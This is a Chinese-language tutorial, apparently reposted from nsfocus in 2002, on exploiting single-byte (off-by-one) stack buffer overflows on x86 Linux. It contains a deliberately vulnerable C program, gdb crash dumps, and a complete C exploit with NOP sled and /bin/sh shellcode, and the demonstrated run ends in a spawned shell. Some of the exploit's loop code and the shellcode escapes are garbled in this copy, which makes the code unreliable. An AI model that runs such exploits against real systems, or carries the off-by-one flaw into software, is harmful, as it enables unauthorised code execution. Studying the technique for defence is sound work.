一种新的单字节缓冲区溢出技术

文章类别：C语言程序设计 | 发表日期:2008-9-24 14:38:31

来源：
Mr.J（Jaauodeam@hotmail.com）
◆主页：
http://mrjworld.51.net
◆发布时间：
2002-11-12
◆前言：
在阅读本文之前，你最好看过warning3的《单字节缓冲区溢出》，明白单字节缓冲区溢出的机理，以及如何书写Exploit。本文所有的代码均在Turbo Linux 7.0下测试。
◆正文：
正如你所看到的，有关单字节缓冲区溢出问题确实存在及可利用，但是有没有一种好的方法，例如说猜测地址来实现呢？答案当然是肯定的。想一想，当发生单字节溢出的时候，%ebp被我们覆盖，假如我们将buffer填满跳转地址，其中跳转地址指向我们的shellcode，它可以放在argv[]或者是环境变量中，那么，当两次ret后，从堆栈中弹出来的地址就会跳到我们的shellcode。如下图：

栈顶(低地址) 栈顶(低地址)

|----------|-+ |----------|
| 跳转地址 | | | ...... |-+
|----------| | |----------| |
| 跳转地址 | | | ...... | |
|----------| | |----------| |
+->| ...... | | | ...... | |
| |----------| | |----------| |
| | ...... | |------------->| ...... | |
| |----------| | |----------| |==>shellcode
| | ...... | | | ...... | |
| |----------| | |----------| |
| | 跳转地址 | | | ...... | |
| |----------| | |----------| |
| | 跳转地址 | | | ...... | |
| |----------|-+ |----------| |
+--|保存的%ebp|<-1字节被覆盖 | ...... | |
|----------| |----------| |
|保存的%eip| | ...... |-+
|----------| |----------|

栈底(低地址) 栈底(低地址)

在这种情况下，我们实际上仍然要提供两个offset给exploit，一个覆盖%ebp的偏移，一个shellcode地址偏移。但是我们还是有一种方法，即用一个非凡的字节来覆盖%ebp的最后一个字节，是%ebp总在buffer里，这样，最后需要猜测的只剩下shellcode地址，与普通的缓冲区溢出一样了。
我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序：
#include<stdio.h>
vul(char *p){
char buf[255];
int i;
for(i=0;i<=256;i++){
buf[i]=p[i];
}
}
int main(int argc,char **argv){
if(argc>1) vul(argv[1]);
}

[laolang@localhost teach]$ gcc only.c -o only
[laolang@localhost teach]$ ./only `perl -e 'print "a"x256'`
Segmentation fault (core dumped)
[laolang@localhost teach]$ gdb -q only -c core
Core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb)
看,发生溢出了。此时堆栈如下图所示：

栈顶(低地址)

|----------|
|0x61616161|
|----------|
|0x61616161|
|----------|
+->| ...... | <--- 由于执行无效指令，导致core dump
| |----------|
| | ...... |
| |----------|
| | ...... |
| |----------|
| |0x61616161|
| |----------|
| |0x61616161|
| |----------|
+--|保存的%ebp|<--- 1字节被（0x61）覆盖
|----------|
|保存的%eip|
|----------|

栈底(低地址) 栈底(低地址)

溢出的要害还在溢出的那一个字节。在这种条件下，只有计算buffer地址和猜测buffer地址两种方法，前者很麻烦，而且对于远程溢出无能为力，所以，我们来研究第二种方法。
为了提高成功率，我们溢出的一个字节的数据应该填一个很小的数字，非凡是当buffer长度大于或等于256个字节的时候，不管buffer的地址是多少，总会准确的弹出跳转地址做为%eip，这样实际上只用猜测shellcode的地址，与普通的缓冲区溢出一样了。堆栈如下图所示：
溢出前堆栈情况：
(gdb) x/16 $esp
0xbffff82c: 0xbffff84c 0x08048441 0xbffffa18 0xbffff858
0xbffff83c: 0x4005be78 0x4014cacc 0x4000b1b0 0xbffff868
0xbffff84c: 0xbffff888 0x40048486 0x00000002 0xbffff8b4
0xbffff85c: 0xbffff8c0 0x08048490 0x00000000 0xbffff888
溢出后堆栈情况：
(gdb) x/100 $esp
0xbffff714: 0x4014cacc 0x00000000 0x4003f658 0x00000000
0xbffff724: 0x40008395 0x00000101 0x61616161 0x61616161
0xbffff734: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff744: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff754: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff764: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff774: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff784: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff794: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7a4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7b4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7c4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7d4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7e4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7f4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff804: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff814: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff824: 0x61616161 0x61616161 0xbffff800 <---- 看，最后一个字节被覆盖
……
(gdb)

此时：

栈顶(低地址)

|----------|
|0x61616161|
|----------|
|0x61616161|
|----------|
+->| ...... | <--- 由于执行无效指令，导致core dump
| |----------|
| | ...... |
| |----------|
| | ...... |
| |----------|
| |0x61616161|
| |--------- -|
| |0x61616161|
| |----------|
+--|保存的%ebp|<--- 1字节被（0x00）覆盖
|----------|
|保存的%eip|
|----------|

栈底(低地址) 栈底(低地址)

只要被覆盖的字节足够小，最终都会执行到我们的shellcode。以下是exploit：
[mrj@localhost test]$ cat exp_only_2.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define NOP 0x90
#define BUFF 2048 //缓冲区大小
#define BIT 16 //覆盖字节
#define POINT 256 //溢出点
#define OFFSET 500 //偏移
unsigned long get_esp(void){
__asm__("movl %esp,%eax");
}
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
int main(int argc,char **argv){
char *buf;
int addr=get_esp(),bsize=BUFF+POINT,offset=OFFSET,bit=BIT;
int i,j;
if(!(buf=malloc(bsize))){
printf("No enough memory!n");
exit(1);
}
if(argc>1) bit=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr-=offset;
for(i=0;i buf[i]=(addr&0x000000ff);
buf[i+1]=(addr&0x0000ff00)>>8;
buf[i+2]=(addr&0x00ff0000)>>16;
buf[i+3]=(addr&0xff000000)>>24;
}
buf[i++]=bit;
for(i=i;i buf[i]=NOP;
for(i=i,j=0;j buf[i]=shellcode[j];
buf[bsize-1]='';
execl("./only_2","only_2",buf,NULL);
}
[mrj@localhost test]$ gcc exp_only_2.c -o exp_only_2
[mrj@localhost test]$ ./exp_only_2
sh-2.05$ exit
exit
[mrj@localhost test]$
◆结束语：
正如你所看到的，对于有单字节溢出的程序，同样也可以使用猜测shellcode地址的方法来进行攻击，这说明远程的单字节缓冲区溢出可以实现。但是并不是所有的单字节溢出都可以利用，例如说在大endian结构的系统下就不能成功溢出。或者buffer太小的话，我们猜测buffer地址和shellcode地址就显得十分麻烦。
◆参考文献：
[1] [单字节缓冲区溢出] by warning3
[2] [Smashing The Stack For Fun And Profit] by Aleph1

来源：nsfocus

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